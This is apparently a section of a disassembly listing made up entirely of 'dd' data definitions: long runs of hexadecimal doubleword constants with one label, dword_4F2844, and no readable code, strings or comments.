		dd 0BD2D0109h, 3B424403h, 0C3E75D81h, 4CA9C004h, 777B3708h
		dd 0E670882Fh, 0F38000CAh, 53CA2C27h, 0C01E78B7h, 0F7CC03EFh
		dd 0CF080C0Bh, 43F0406h, 0D539E964h, 0D3E4EF7Ah, 4F692468h
		dd 40E6921Ch, 0F2814AF3h, 602778DBh, 0F1AEFD17h, 0C2A2F769h
		dd 0EF51E363h, 986F1EEEh, 0BEF6F7B7h, 5B6858FEh, 8B1F4659h
		dd 48C9F70Fh, 0ADC22B02h, 35E50BA7h, 26B1C3A6h,	475DFD79h
		dd 29FF803Bh, 2F90C568h, 9DEA0D48h, 97BEB693h, 594FA1F4h
		dd 4D0C9708h, 0FB19620Ah, 22441A1Ch, 85203147h,	4C16D802h
		dd 0EAE949E9h, 0E1F8F576h, 76C5F830h, 34F1032Fh, 1270448h
		dd 0ECE93A12h, 0B15473C3h, 356FD95Eh, 4E10EE86h, 27BC4A9Dh
		dd 30DC47B2h, 5D3AF907h, 49070019h, 287BFC6Eh, 2D1AFB89h
		dd 0DA8B82E9h, 0DD7227FEh, 0A7EC522h, 8DFB5D05h, 0F8D8FD20h
		dd 0D997328Ch, 0D00C9177h, 4D1C928h, 72AA4218h,	60485B3Ch
		dd 0F99F90F6h, 796542F4h, 973DC4E5h, 29932FF0h,	0A8EDC141h
		dd 0CFFC463Bh, 7CB51CE7h, 9DCEEA5Ah, 4F1018Fh, 7E419668h
		dd 0A5254A30h, 0EC43E9E1h, 0B79C9CCh, 0A983CAD7h, 63195FADh
		dd 0C7BD503Ch, 88096506h, 74D7E90Ch, 3AD62F51h,	0DFCBEA78h
		dd 0CB725D3Eh, 0BB790C85h, 89B05596h, 33EB59DEh, 8BD0579h
		dd 0AFCB07F7h, 0EDB55B04h, 2088011Fh, 6A01F2DEh, 0D15DFE40h
		dd 54ED68E0h, 97BF9347h, 0D8284A02h, 511F8660h,	5CABB525h
		dd 0CC6A9CF8h, 0E40CF9EDh, 3EEA3024h, 0F4B17109h, 0E0057202h
		dd 319DEED3h, 77F5CEDh,	75435F2Fh, 0EDAAC8FCh, 2E3D36F2h
		dd 9E969769h, 0E25A9421h, 0AB07B02Dh, 603E2E64h, 0B803EBE7h
		dd 0CB180E60h, 9D27F83Dh, 584F6950h, 0CC7E76EBh, 3281645Eh
		dd 60009E5h, 595CEB88h,	0AC21190Dh, 916BC567h, 0F4CD29E3h
		dd 0FE95D010h, 0CB81E038h, 6C0F1F9Ah, 977FE962h, 0AFC4D6A3h
		dd 84AD09FAh, 0DD764FDh
		dd 0ECA122C5h, 2102973Bh, 2057526Bh, 50E23B3Bh,	5F8E55Ch
		dd 1E603F13h, 0BD8020EFh, 16E45FDEh, 0A3622FF4h, 405BD86Fh
		dd 800EF3C2h, 4B1E672Dh, 0B38C53EAh, 0B5AC774Ch, 0D39F46F8h
		dd 2D803066h, 0B44A0CB6h, 7D82FA87h, 0EE23DF6Eh, 0D5ECA72h
		dd 82D753ABh, 685F5806h, 97F97E88h, 4CC9079Bh, 10647D1Dh
		dd 590FA1B8h, 0A9C4D588h, 0F7FA381h, 0D4D12D4Bh, 31EB5BBAh
		dd 2E5DEAFAh, 0E98340ACh, 7D5FD8A2h, 0E28925A1h, 6455AF0Ch
		dd 1BEF05B7h, 0C316131Eh, 0BBF4C7F6h, 0E3F76090h, 987F02E2h
		dd 99CE956h, 0E153685Ch, 101AD7Bh, 0ABBD44DAh, 5B271EA3h
		dd 0EBF098F5h, 372D123Bh, 4013F90Bh, 0CC905F08h, 52746C07h
		dd 1014E94Eh, 60CD8DEAh, 48248EAh, 4DBCC0DEh, 8D29FB4Eh
		dd 185BCFD8h, 0C6772614h, 2E25FC7Bh, 0B2A4D87Fh, 34E9131Eh
		dd 3BCE9DB6h, 93A1FEBCh, 0C5A03216h, 44FAF72Fh,	0BF43BB4Dh
		dd 5B2FE8DEh, 237A6ED4h, 0FC2668A7h, 1734CAFFh,	145E9DE9h
		dd 55CD93DDh, 0ED205951h, 3046BF0Bh, 0C0E90B98h, 68332E4Fh
		dd 85E96308h, 1FEB0E95h, 7FB49A6h, 80C99E7Fh, 0B82DB3B4h
		dd 0F6CE1D67h, 129B66D3h, 4E1D0666h, 0C5487FA9h, 7FCD257Bh
		dd 12B76016h, 0C1A157B4h, 2E2012E9h, 0C310298Bh, 13574C3Ch
		dd 7ED15AD6h, 9114D0E1h, 7A4F0D91h, 0C776084Fh,	40B2D77Bh
		dd 0FB7A77C7h, 2B48AF0h, 46236805h, 0BFE4298h, 0C1098F6Fh
		dd 95C0CC89h, 3F137B25h, 0B442EBE9h, 7D568FBAh,	0B269D402h
		dd 0BE037D0Bh, 0EECD9B7Ah, 0F1EF09D5h, 0F60C056Fh, 246C31A8h
		dd 16E163D9h, 0EE72413Fh, 40411529h, 6E0EA108h,	66D0195Eh
		dd 96988FE9h, 5308204h,	0BA75D28Eh, 0CB104338h,	0A09B40D7h
		dd 3E749F0Ch, 0F206FD40h, 1749A46Eh, 41821CE9h,	591DBB49h
		dd 2382EB6Ch, 0F6BE5004h, 68EA97A8h, 3630E990h,	81DE13E1h
		dd 1B6E1CC6h, 0FA5BD2F9h, 406FA5DCh, 40B758FDh,	0B5FF2A0h
		dd 0EF0197FBh, 0DE589D7Ch, 3B8582D6h, 15EC28h, 6027080Dh
		dd 13682D6Fh, 0AE212B25h, 9B12B08Ah, 82EC347Dh,	0A5FDD3D7h
		dd 0DA831E7Bh, 0F2F09B5Bh, 2C8D52CBh, 9A31786Fh, 354A4514h
		dd 8CC4B04Ch, 0A917DC29h, 13F30295h, 402C335Eh,	7EEE0608h
		dd 0C4E91657h, 167FB33Eh, 21FFCC08h, 0BB6D0D1Dh, 99214FF2h
		dd 0C078F75Ah, 4F2A0B9Eh, 56AD1F73h, 0EBD8490Bh, 85005395h
		dd 0D83DE468h, 0A4405F2Ch, 3AECB5ADh, 5B03FB20h, 303FEC5Fh
		dd 66158E46h, 0C7114FC1h, 0ECE69037h, 51B0AA57h, 5B5C1033h
		dd 0DC42BAE1h, 54500430h, 0BE75AF58h, 0AD4DDA21h, 73E33592h
		dd 7AFBCB22h, 0EA72B49Ch, 52F53703h, 0F2D631BDh, 0B78B7891h
		dd 0E50BD1D9h, 559ED59Bh, 20659C97h, 0B790E5F3h, 375B340Bh
		dd 2FE97245h, 5C668041h, 549D20h, 0B850E1D1h, 3E5924F1h
		dd 297A3FAh, 0D63C6862h, 1654AD44h, 29685358h, 0BCBF1784h
		dd 762DF000h, 0EF355873h, 3B644716h, 9796A504h,	1CA9E013h
		dd 4563B762h, 885CD96Fh, 342C182Eh, 5F80180h, 5C690D58h
		dd 0E01AC563h, 0B842215Eh, 60165955h, 29757227h, 84F5E92Fh
		dd 0FEBC4DA3h, 0DA496A05h, 6013AAE4h, 0DB4CCAA7h, 53EA609h
		dd 0DB2DF7Ch, 0B3607D31h, 1495C095h, 16DA22CBh,	3159CA0Bh
		dd 0CC473D1h, 0F8FB21FAh, 0B6565F28h, 2062D900h, 45380D7Dh
		dd 0E9050D33h, 0D8879FBEh, 0EA9A621Ah, 69585C31h, 560344EEh
		dd 84605ECAh, 94B5621Fh, 0A91B20F8h, 0FD875F1Ch, 1632D0A5h
		dd 921B980h, 9E134F39h,	2D7EAE9h, 0AA805F87h, 301527F6h
		dd 794C725Ch, 1CF34B13h, 5601BDE8h, 577CC2BEh, 0FC9D212Ah
		dd 2715C03Bh, 49CA23E9h, 9A090C1h, 7761F6h, 4B27F176h
		dd 0E9251252h, 484183D1h, 60049B8Fh, 5DE2AABBh,	33DD6809h
		dd 5E0BD8E6h, 1066C536h, 2C344224h, 403C5DF9h, 1D3E123Bh
		dd 6CF6294Fh, 28A10C41h, 6D192F1Ch, 24C92B29h, 18A3416h
		dd 19340F9Bh, 639A21E9h, 0AF2B50FBh, 1E09BCA4h,	868C72C5h
		dd 4179BA8h, 6A0E91C3h,	4181EB7Ch, 0FE04D15Ch, 4AB264D8h
		dd 7B74F722h, 33F772Ch,	0D5A21A42h, 7FD6112h, 0C2C20A5Ah
		dd 0DF358902h, 0AB5EA5A4h, 0F64F28E2h, 0B76A247Ah, 2B3A55A5h
		dd 4D7D456Ah, 945D2D17h, 0A7F995D9h, 0C957FE69h, 0BF40C00h
		dd 5B166FDEh, 552FEE9h,	79D40FBEh, 0A1594D64h, 5BEBE4DEh
		dd 2B42418h, 30286AC2h,	620C3F6Fh, 604E8D42h, 841F8A9h
		dd 0A0140CA0h, 2046684Bh, 0D0B44FFh, 70424B22h,	0E65727F3h
		dd 7C20C144h, 0B3530103h, 5BDE20B2h, 96F6CD86h,	88565E1Eh
		dd 2C897DBAh, 85DBD0C4h, 0D561E03Fh, 6E20F1F7h,	0F5615D1Ah
		dd 58B4EC4Ah, 63710BC2h, 60B7F8B5h, 10EA67D9h, 67615B14h
		dd 0FF2D2372h, 40C90A30h, 0D50728C8h, 8E5C05Ah,	74DC8EB2h
		dd 44586BA0h, 152F8F90h, 65EBCCA8h, 0BA6610A9h,	0FC2CA004h
		dd 0E4AA3285h, 1228FBBCh, 0C507AA4Fh, 5C884219h, 6114E560h
		dd 0AC4C5A71h, 28A481C5h, 0C8F12C3h, 68F4BF4h, 0C4D9F583h
		dd 1C781C8Ah, 0CF90A290h, 0E965D80Bh, 0F53CC2CCh, 6C19A43h
		dd 6CFFC26Ch, 68ADC2A0h, 1BFF09DBh, 0E656CA35h,	0E9501272h
		dd 0BE34A0ADh, 13FD120Bh, 0E709DF9Dh, 53037DF4h, 0D26F17BBh
		dd 2056A73h, 5EB396h, 7157A2BFh, 0D22D092Dh, 4AB590D3h
		dd 2C728011h, 282C5AB9h, 645AB4D0h, 25A5A99h, 3CC068A5h
		dd 83DBB357h, 0F6BF8508h, 89224B21h, 97F3DCF8h,	5655DF1h
		dd 0BC27D368h, 3FFCD9Dh, 0BD127Eh, 87E52C9Ch, 529A51CFh
		dd 0EF7A7D09h, 203EF43Eh, 5590207h, 26FC3092h, 7704BE8Bh
		dd 88B8FD43h, 0E85A17A0h, 285B403h, 2F4A31E0h, 0E55B53A7h
		dd 4C0B033Bh, 0E8474398h, 246144F7h, 216726A0h,	0C7C91F13h
		dd 0DC57977Fh, 55120BFEh, 0F30A0204h, 5F1407F5h, 4C9501D5h
		dd 24E9542Bh, 8FFF032Fh, 0E8C13042h, 7CB350D6h,	204AB134h
		dd 0DB0103B8h, 3128F367h, 2D0470E9h, 86505D82h,	820BAB98h
		dd 0C8329833h, 280FC787h, 1086DACh, 2BF51B7Ah, 9DF464E9h
		dd 2FBF4664h, 0DCF1215Bh, 0DDC52CB0h, 0B9F80521h, 0FCD0A601h
		dd 0EB802CFCh, 0E09113A8h, 0C5B75336h, 0A46880A5h, 5836631Ah
		dd 0A2D482BDh, 0EB1A7E91h, 0D7256A4Ch, 5487765Ah, 0A2173ED3h
		dd 55F36A0h, 0E15312BBh, 0EE2B8420h, 0B92E37CDh, 0A7E85A2Fh
		dd 51C9804Ah, 6DB4E588h, 0A4B4923Dh, 729726B3h,	465F595Eh
		dd 0E4050F93h, 8A1FCD39h, 3E072DD8h, 4B0F9100h,	5F8C6836h
		dd 0E963D59Ch, 49EB9C5Bh, 777CA296h, 509A562Fh,	335AB968h
		dd 8A764C8Eh, 98E1ECF7h, 5ADC0902h, 828475DBh, 0D1FA139Eh
		dd 789641EDh, 2293F0D1h, 0E9683EA3h, 2E52B9CAh,	0DC389ADAh
		dd 0F180A0F6h, 0E1C001B4h, 0B0505303h, 0E4806F5Dh, 55BD928h
		dd 6659CA20h, 0BB318051h, 0E926CBFEh, 0F6A5B7DFh, 8AC392D6h
		dd 0FD552A23h, 5D63F0FEh, 0B0ADC31Fh, 9F43183Fh, 0CA010EC2h
		dd 0CCC27139h, 0CB5568E9h, 0BA8000D5h, 387B5E07h, 9C0BDC26h
		dd 3B66BE3h, 7A80F355h,	0B2FE785Bh, 0CA765274h,	99C549Dh
		dd 0B3DA9C17h, 886ABA2Ah, 958C7895h, 5CF3BC57h,	1061F068h
		dd 6BFDC1E9h, 0F3C84C5Dh, 0D2F70BDCh, 0C87B7600h, 214A1BB6h
		dd 6FA33B42h, 6E6EE058h, 0DD048085h, 81C9C9EFh,	3350B848h
		dd 917E4911h, 24766CAh,	0AB7E555Ch, 51D55F92h, 0F8E144ACh
		dd 26F33F5Fh, 92E4C513h, 98DD066Dh, 97D58D6Dh, 0A32DF647h
		dd 9FC4B54h, 2BC6803Ch
		dd 0B4600607h, 0EAA894CDh, 3685E6B3h, 0ABDD9574h, 88682121h
		dd 0B37D122Ah, 0EAA9938h, 9151FE28h, 0C30F8E7Ah, 4A4133E9h
		dd 5ECAFCFFh, 0AE2590F2h, 0EE16F242h, 0BCFC9695h, 6E9208D3h
		dd 8EBAC12Fh, 0E3B2C0FEh, 10C897F7h, 5D7E4CA7h,	10EFD130h
		dd 17883C02h, 0E00CE920h, 1370BD4Eh, 314CC505h,	5DBA5DEEh
		dd 2A8082C9h, 58F7415Ah, 0E20882B0h, 22C7552Fh,	0F3086FA4h
		dd 40CC2046h, 0F0F50494h, 0BB993163h, 0A06D1649h, 321E7FA0h
		dd 7B88229Ah, 29C30680h, 161EB72Ah, 51A5C0E9h, 0EEC10406h
		dd 0EECBFA06h, 0B915AC17h, 0E6E5C687h, 1BD0596h, 80403902h
		dd 37747189h, 0ED834A1Fh, 1DFF1230h, 0E9630912h, 9A274910h
		dd 8D026D8h, 0AF2D4002h, 0DF63F498h, 6BE7A8D0h,	0AAE94947h
		dd 3C8C7929h, 880B025h,	71A5A72Dh, 74313E25h, 0FD53979Eh
		dd 0D7F7E1B5h, 0E2103361h, 2F961620h, 0D4E09AE9h, 340504B0h
		dd 6D156871h, 2CB77740h, 97FFEF80h, 30887CCBh, 204AE9F8h
		dd 0ABB44580h, 2B7479B3h, 0A9C787Dh, 0BC440A34h, 0E8B9C2Dh
		dd 74BD5870h, 0A2FDF362h, 57D817BDh, 502B2B3h, 73D5437Eh
		dd 472D0261h, 4FE95007h, 8B3014C4h, 63686708h, 90E0AE21h
		dd 0E20E27A2h, 5C179E47h, 23B0B1BCh, 5B5F6F4Ah,	0E104A3A6h
		dd 0AFA490B5h, 0A5EC2BC4h, 18E95381h, 178C7BC5h, 43681757h
		dd 0A436BC21h, 60FAD9EEh, 1E040C8Eh, 574D7AB7h,	5AD61E82h
		dd 0BB88095Fh, 9A58F478h, 5191F825h, 0F0A28865h, 0EB877432h
		dd 0E9D7DA03h, 0A42A5A8Fh, 0FCAA2ECFh, 7BB9BF43h, 0E56183AAh
		dd 9F564077h, 2345CD60h, 0AF315EE1h, 0F0603437h, 0F4E490C9h
		dd 0FF996E8h, 5A182BE3h, 70BEAB3Bh, 0B00DEA98h,	0C6303F25h
		dd 0BBD21CA7h, 565EF517h, 0F05BA7F2h, 0D1E6E69Bh, 0B0F15D4Fh
		dd 0ED81268Ah, 0B35E170Bh, 67E91286h, 23BA0C4Ah, 857E273Dh
		dd 0A4FB5D81h, 2D000C8Ah, 93052844h, 900E9E59h,	11629FC1h
		dd 48A1D161h, 2879B6BCh, 6107C2BDh, 6D0F514h, 0F7301413h
		dd 77068AD5h, 1C37D409h, 0FE2A7B71h, 0E91784B7h, 24EEAFBFh
		dd 4A268B81h, 5FFD2AEBh, 6171554h, 7E9A1B61h, 60900E35h
		dd 0E7C17C01h, 6BE264C9h, 0BC155E01h, 0FC7B16ECh, 0EEB45AB4h
		dd 0A065FE9h, 16FC5F40h, 963D0502h, 2739BFA5h, 0EC64F9F9h
		dd 660913BBh, 0EB6B0672h, 8EBE0D05h, 51A9E709h,	2C5B07BDh
		dd 6EC807BDh, 19DCB9Fh,	54B22051h, 0E19875C0h, 0BF80996Dh
		dd 0E66214D3h, 5801FC7Bh, 0F71FEE03h, 64AF31D9h, 0A0960506h
		dd 0F0232D81h, 0E27B8406h, 0B4FAA43Ch, 91402D22h, 0A9AFD05Ah
		dd 92A6B97Dh, 840FFD54h, 0BB033579h, 74BA4923h,	5206D4E0h
		dd 679C97FCh, 81F7C25h,	0DE27615Eh, 1C7F2FF7h, 0E9054F10h
		dd 1C552640h, 0F36482E0h, 25E92545h, 0CE81EA5Eh, 464C61BAh
		dd 4994520h, 1E251A9h, 3F26C2EEh, 47845B07h, 93131FABh
		dd 50EEE7BFh, 0ED92E38Ah, 0CE9AEE60h, 4EF23326h, 8240AE0Dh
		dd 98E48FBAh, 39F16B29h, 62122BF4h, 806570BBh, 679885C3h
		dd 0A10B352Eh, 9E685A60h, 42499C6Ch, 0E2485F5Dh, 71386516h
		dd 0C9818149h, 5CD43A2h, 94ADED51h, 25D1C004h, 5A4A3A74h
		dd 974F56B3h, 0A0099DCh, 24E910CDh, 35FEAC4Eh, 8628AFA5h
		dd 49262568h, 0E451ED91h, 632F697Ah, 0E0107F12h, 0D25EA0E9h
		dd 9238B08Ah, 7733CCCEh, 14A3D84Eh, 0CADA5F00h,	42BA05EDh
		dd 3D02E82Ch, 5F7607A0h, 4F70A413h, 1F533300h, 2FE91C22h
		dd 8BE8C3DDh, 0D3127720h, 0A2AF5F3Fh, 0F0E79F1Eh, 0D8F69F19h
		dd 442594C7h, 96D3F6F1h, 5AE40310h, 7B896866h, 6FD588A5h
		dd 1458E924h, 0FA78CEA7h, 0ADA84EB6h, 7E44D74Fh, 5C09B103h
		dd 0BA80E754h, 76506079h, 0DFEA50C1h, 0B8E2EADAh, 0C93CF091h
		dd 0E0F513C6h, 9CA676BCh, 0EDD29604h, 9FF44B5Ah, 0BE204075h
		dd 1239F9B5h, 5C64F08Bh, 0BF7C5495h, 0B0C89525h, 157F49A4h
		dd 67D00CC1h, 0EC3B3A2Bh, 0A0084117h, 9A8A140Ch, 99427040h
		dd 20D294B7h, 0DAC1545Ah, 7C23766Bh, 542BDFEEh,	0F40D8857h
		dd 75CB0901h, 0E13E2195h, 80A96EE7h, 2FCDE9E1h,	812AA9A7h
		dd 9A798A7h, 39981D55h,	665880DFh, 2C093E56h, 0F265BDDh
		dd 2B0B3FC0h, 63895200h, 0A2A155EEh, 77122E6Ah,	15638AFAh
		dd 0BE2E831h, 9A366668h, 0FFCDDF52h, 509BE989h,	494EBF02h
		dd 0C90B6827h, 0CF2CC2D9h, 315CBA02h, 0FF836BCAh, 93F35307h
		dd 0EC8BFEDDh, 4E2E4258h, 7532C974h, 47F79E09h,	3AD6AD7Eh
		dd 5CA5648Dh, 0DF50E26Fh, 7AB22ACBh, 59650BC6h,	68F708A0h
		dd 2F10AA05h, 0FCEA0DE6h, 31E90802h, 0F124A757h, 738E6B91h
		dd 40090C8Fh, 0BF960B2Eh, 0A07AC7CDh, 57E246D2h, 73ABD8A0h
		dd 0F0443A25h, 0E907C5FFh, 4DAA908Ch, 4D0DDF7h,	5D0805E5h
		dd 1CC83BACh, 295218C5h, 0B0C37E18h, 17462116h,	50B9171Fh
		dd 0FD49E908h, 9730287Ah, 0D106326Eh, 0C5B0E83Dh, 0F6DD8608h
		dd 0B03AD341h, 2A40F553h, 852725E9h, 983EAF59h,	8B1B0C1Dh
		dd 82139E10h, 8EB793ADh, 542D229h, 294E7BCCh, 71398049h
		dd 1F371C63h, 88F2D645h, 47CBF6CBh, 6A39F21Eh, 3D04C380h
		dd 0F71C10ECh, 254F48D8h, 5627E0D6h, 255A1405h,	0DF74FC3h
		dd 0F201704Ch, 0B26B8A51h, 0ACEA030Ah, 2C3E272Eh, 123F5710h
		dd 0DADCEA96h, 80BC40D5h, 880CC20Bh, 768955D1h,	500016D4h
		dd 0ECC001B4h, 1BE91302h, 0CB7AECD3h, 0F9C7AA26h, 9C17F08h
		dd 0EF6DA16h, 1ACF2840h, 31F57D01h, 0D0774145h,	2A826566h
		dd 0A76A9AB5h, 3DA94A56h, 0FB59CEC5h, 0D84E35A6h, 3954E94Bh
		dd 160FBAA7h, 4929CD62h, 916758C5h, 99210853h, 0E5E6D10Fh
		dd 0A6D72EEFh, 7BAF89D3h, 6774FA5Dh, 0E2F869B9h, 0D75449EBh
		dd 1032944Bh, 2D391E9h,	0E581B35h, 0AEF6417Eh, 50896D3Ch
		dd 98F80689h, 9D315B4Fh, 0BD0062B2h, 0BA3D7E76h, 679A1290h
		dd 1250B6B7h, 355B1F25h, 92E30216h, 6075121Bh, 120DABF3h
		dd 40D16002h, 9145180h,	0B54EE932h, 3168C081h, 6FFB5CEAh
		dd 6328EB13h, 0BCFCC951h, 256A64DFh, 0BB45CA58h, 743E008h
		dd 157C4168h, 6B45810Ch, 9F913CB1h, 5F1C4489h, 4CC0F632h
		dd 0B92F70D2h, 34A5035h, 121764C6h, 0E044E5Dh, 0D8A75973h
		dd 96AF1B91h, 811E8404h, 2A292A0Fh, 0FFCA76DDh,	0E42DB2D2h
		dd 0A11E928Bh, 0C8BE0F0Eh, 413E4D71h, 2599EE4Ah, 0A7DAF744h
		dd 0F655F26Ah, 0B064177Eh, 46985F3Eh, 8BB3304Fh, 0B0C4A395h
		dd 2C2D03E1h, 2937B97Dh, 0BC1D728Ch, 0F903B822h, 0BF318008h
		dd 160B4FFDh, 5B48E8CCh, 21128E8Bh, 8873FEF8h, 8BAAB4DEh
		dd 0DC8D4B64h, 4FADE67Fh, 0EEB494ACh, 61AA3E17h, 0C264F5F2h
		dd 1E727712h, 65272D05h, 4BB04E3h, 16C9AE12h, 0D17E02EFh
		dd 80D5F51Bh, 826CC31Ch, 0F5289D7Fh, 0AB5B1208h, 0AEE1C62h
		dd 0C4AC9723h, 853DBB65h, 0A636BD2Fh, 0F37C9D34h, 0CDE27D52h
		dd 12EA9657h, 88201CE9h, 0DEB701B2h, 0BCE9C381h, 694A48Ch
		dd 3B220A80h, 0CE0379E8h, 36DB6AACh, 314AE004h,	138244F2h
		dd 0A56802BBh, 0E6FA18ECh, 160EEC4Bh, 0E023E9D1h, 1663350Ah
		dd 0FA0D8D6Dh, 5696DC20h, 0AB7E503Dh, 0F61E1B35h, 74980C22h
		dd 2934605Fh, 81A28D3h,	0FE140C0Ch, 0DE637B1Fh,	629442B2h
		dd 5406A54h, 0A9042130h, 5BDE0935h, 7CCA4982h, 0BB6870C8h
		dd 0D61C2E5Ch, 146DF604h, 49C18003h, 0F1ED0674h, 0BAA231A2h
		dd 178FC110h, 18F75A49h
dword_4F2844	dd 0C0980E06h, 0B1DA20FBh, 7FD40B95h, 54F0BBA0h, 0C1303258h
		dd 34C7B2EFh, 43CC2DBFh, 21813862h, 7846F168h, 2037C196h
		dd 0A43343CEh, 19692A7Ah, 0C86DF159h, 0C8C79C94h, 0B777AFB2h
		dd 9D0CC6FEh, 0A3B90428h, 0C45E6C70h, 1D6484C1h, 9DE18EC5h
		dd 0C02B89E5h, 4A84B574h, 324F849h, 7F0F302Dh, 5F0C156h
		dd 8C810744h, 0E815663Eh, 2DD83DDAh, 750489B6h,	0C95A0D66h
		dd 0C44B3815h, 0ABE2AD45h, 53716801h, 745E170Dh, 1B12D3A5h
		dd 0F800297Bh, 8DEF815Bh, 1CD1270Fh, 65E9DD60h,	52EE8A4Ah
		dd 38A3F8BDh, 6DFA4E4Fh, 0DA1070C0h, 0E1EA2595h, 0D967A3FFh
		dd 0B32A5334h, 1D94C30h, 25C7691Ch, 2AE8262Dh, 4C80BDF4h
		dd 9D54F2BBh, 34E93113h, 4AB7DBB0h, 50068791h, 0FEDFF6B5h
		dd 0F8E0CF4Eh, 88D110EFh, 0E93A7AF9h, 0FEBFF048h, 88E170B5h
		dd 2D5A52C0h, 0F715DFh,	0D6BA5213h, 0E94DFA25h,	0B9A6CB34h
		dd 9A1D1784h, 4F3FE002h, 2037D209h, 0CDDD0FEh, 0B9C600E7h
		dd 5C47702Dh, 1373F001h, 0E0A4B844h, 124F8C56h,	557B5DF7h
		dd 0AC2EF413h, 0B00892D6h, 87552F51h, 1E83992Bh, 5F19E974h
		dd 0BF93B862h, 0B73EFFCDh, 2EA993C8h, 0A350E9F0h, 685A31A8h
		dd 0AF6D0C26h, 207061DAh, 174FDDC2h, 3B22D7A7h,	0BA7A616Ah
		dd 0AE18640Fh, 785A6B6Bh, 7B5C6BE6h, 0F8118405h, 92E9C4B4h
		dd 3D0DA056h, 0FC4E7F39h, 0F9BF8EE6h, 6857872Bh, 6E767B6Ch
		dd 4CCEE961h, 5DF45E7Ah, 85FF1D83h, 0F4903E1h, 0AFA7EED8h
		dd 9575F4EAh, 0D4B2FB7Fh, 0B1DBE9C3h, 0E0E29924h, 2041C013h
		dd 8404FACEh, 821F9497h, 73412D40h, 3B05F07Ah, 9F44A13h
		dd 71F5FC4h, 0E91C1128h, 752F3F37h, 5616E217h, 0C23B37A1h
		dd 8980B2B4h, 0ED57E926h, 73BA92C0h, 9E7D882Bh,	9540091Ch
		dd 8F319283h, 0CAE5C124h, 0B992CCCCh, 0AF1D62E8h, 0ECC9B0B3h
		dd 0FC487B11h, 1BA6060h, 5763DA13h, 0C12FD72h, 51F7E90Ch
		dd 38427759h, 2FD88410h, 0F7221852h, 0F153D3A1h, 30B7312Ch
		dd 374A1515h, 9583B0BCh, 819DD0F7h, 7AC94345h, 2A52EBCCh
		dd 3D8B4268h, 0B2785690h, 0BF5702DAh, 998FB084h, 255D7F62h
		dd 16900CE9h, 0F050DD01h, 52B06B93h, 4E815F5h, 90C8FAE9h
		dd 77A6F200h, 0F771780Fh, 0C416BFDAh, 9ADDB3BCh, 0D5FE10E0h
		dd 9B95150h, 77325F2Ch,	897E7AE2h, 0A1A39972h, 0EC78173Eh
		dd 4303F0BAh, 3D6F4C52h, 915BD45Bh, 48D7375Dh, 7F60F04Bh
		dd 0A14CEA4Bh, 42DB4C80h, 0EDD7D531h, 3348204Dh, 80F85ABDh
		dd 519EE908h, 176D1EBBh, 98D7311Ch, 2EE908FAh, 5084BD49h
		dd 40518219h, 2C912BA3h, 842BB8E9h, 0CBFCAA47h,	65C2EEE5h
		dd 2C54DE42h, 0C4185A4Dh, 0DC9DA8F2h, 354CEB60h, 24C1A6EEh
		dd 2236858h, 5EEA313Ah,	5F108B1Eh, 0DBCA7F5Dh, 83A1980h
		dd 86A030C5h, 3F081372h, 20FD292Fh, 0CD15A008h,	0F33E135Ch
		dd 19E2814Fh, 0D72D028Ah, 32D2B8EBh, 829DE1F0h,	3038A9h
		dd 295BDD31h, 0CC0EF5Fh, 5EA94B47h, 71CAF482h, 22F99E4Eh
		dd 13C0AA92h, 9366AC1h,	0F10144D4h, 12086488h, 2D9A25Eh
		dd 6F252AD1h, 3C78155h,	0F57A3279h, 0EED6AC74h,	0E9EF4A01h
		dd 609D2D78h, 6C58952h,	58C18B20h, 0D1F45455h, 5E14CA64h
		dd 93F7A3AFh, 0D29447B2h, 9D54132Fh, 98AAE553h,	914A895Ch
		dd 970C126h, 7F74685Dh,	0AE87EBD9h, 19384Ah, 8F35FF8Ch
		dd 0F34015Bh, 0EB23980Dh, 2E182A67h, 70DE63ECh,	7E2948EFh
		dd 0D749F95Eh, 0CD88FFA9h, 788D6B2Ch, 0B03F1923h, 884FBA97h
		dd 0DE9836A9h, 19096853h, 0DA61AB6Ah, 0CE592013h, 66F0B59Ah
		dd 7FE9A9B5h, 0FA0DB430h, 340B2F7Fh, 77F0B1E9h,	2876B32h
		dd 53A51278h, 8263C355h, 70B5902Ah, 0C4EC3FB4h,	176BE57Ch
		dd 9B395F9h, 0AB908416h, 7D3D0A31h, 0ACB29023h,	2FF7681Eh
		dd 0A85807C6h, 0D7252524h, 65775C2Bh, 854A3826h, 0BE8AAE5Dh
		dd 509B2B7Eh, 417D258Fh, 8B922C13h, 0CA26D85Fh,	49306BF3h
		dd 4F2D18C2h, 50AAAC0Fh, 0AAEDFCB9h, 56098014h,	0D4269AE9h
		dd 0AA5A4132h, 7FD7ED0Dh, 8D22FA8h, 4030815h, 0CAEB3401h
		dd 1EED72A6h, 937CC0C2h, 0C6581D71h, 5E2E0915h,	2D5EE4Dh
		dd 0E35FEFB9h, 9C1F402Bh, 0C3EEF65h, 0C57F8AABh, 50428217h
		dd 0ACED1A00h, 0B72F9B40h, 882A9D2h, 846B6E61h,	66DABD32h
		dd 2CC138C4h, 8005D8ACh, 667CF61h, 27AC7F5Bh, 0FC7A4B0Ch
		dd 25D24CB0h, 0AE0B4306h, 1E26F8BDh, 0C96CCF2Ah, 0E19AB60Dh
		dd 27656CDDh, 0CFF1E510h, 9E73C5D0h, 90655059h,	71B72A92h
		dd 4D08891Eh, 652060C6h, 0B5BF5AA3h, 54F56BBFh,	0BF3E90F8h
		dd 0E0F6A06Ah, 0E07FE802h, 0CEAFA5Ah, 1F27143Ah, 6B73E2FCh
		dd 0F8A0455Eh, 203E9855h, 0D9BD789Eh, 0A2FDA593h, 6AAFE92Fh
		dd 0AC6CF7AEh, 0FE540CCEh, 0D2A87EADh, 0C755FE09h, 10FDAD5Dh
		dd 9182CC7Ah, 0DB6C1860h, 4ACD2F25h, 44F11054h,	0D65A0C48h
		dd 0E424BF2Bh, 33170801h, 0F96F7E54h, 86F6251Eh, 0BD8E051Bh
		dd 0E91AA534h, 5521B168h, 7305FF6Ch, 5B0B5848h,	0C3EBEBC1h
		dd 0F778F29h, 2B8F6CE8h, 1877C186h, 0DAC7664Eh,	5244A549h
		dd 0ABE99520h, 55B2FBh,	83922A8h, 151A1705h, 0E9094E7Ah
		dd 7730EE49h, 3E07D108h, 0DCE71151h, 5078B7A1h,	6F4319A1h
		dd 0BCD5F329h, 5BD98800h, 73B1510Fh, 67018E80h,	0C16365F1h
		dd 27C9CB2Fh, 0E3C179C2h, 0D3B87F33h, 0D3A793C5h, 0BA84012Eh
		dd 0EB05618Ah, 0EFC5169Dh, 0E909BE8Eh, 1C448E8Dh, 0B2F4B482h
